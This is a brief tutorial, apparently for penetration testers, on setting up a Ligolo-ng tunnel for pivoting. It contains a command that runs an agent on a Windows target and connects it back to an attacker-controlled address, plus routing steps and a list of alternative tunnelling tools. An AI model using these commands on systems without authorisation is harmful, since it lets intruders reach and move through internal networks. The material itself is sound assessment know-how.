Basic usage of Ligolo-ng

Basic commands

To simplify the process during an assessment and avoid unnecessary complications, the following commands can be used to establish a tunnel between the target machine and the attacker machine:

Download: https://github.com/nicocha30/ligolo-ng/releases
For the attacker machine, use the proxy
For the target, use agent.

On the attacker machine, launch Ligolo-ng with administrative (sudo) privileges:

sudo ./proxy -selfcert

On the target machine (when using Windows), execute the following command:

.\agent.exe -connect 192.168.1.2:11601 -accept-fingerprint FC0***054

At this point, a connection will be established. To automatically route traffic through a specified interface, use the following command:

session 1 # Select the session
autoroute # select the interface

Once the connection is established, you can effortlessly execute commands, which will facilitate a connection to the specified proxied network.

Other Ligolo-ng alternatives

  1. Chisel: A fast TCP/UDP tunnel, perfect for lightweight tasks. GitHub Repository
  2. Ligolo-MP: A multi-purpose variant of Ligolo. GitHub Repository
  3. Proxychains: Can be integrated with SSH and other protocols to route traffic through proxies. GitHub Repository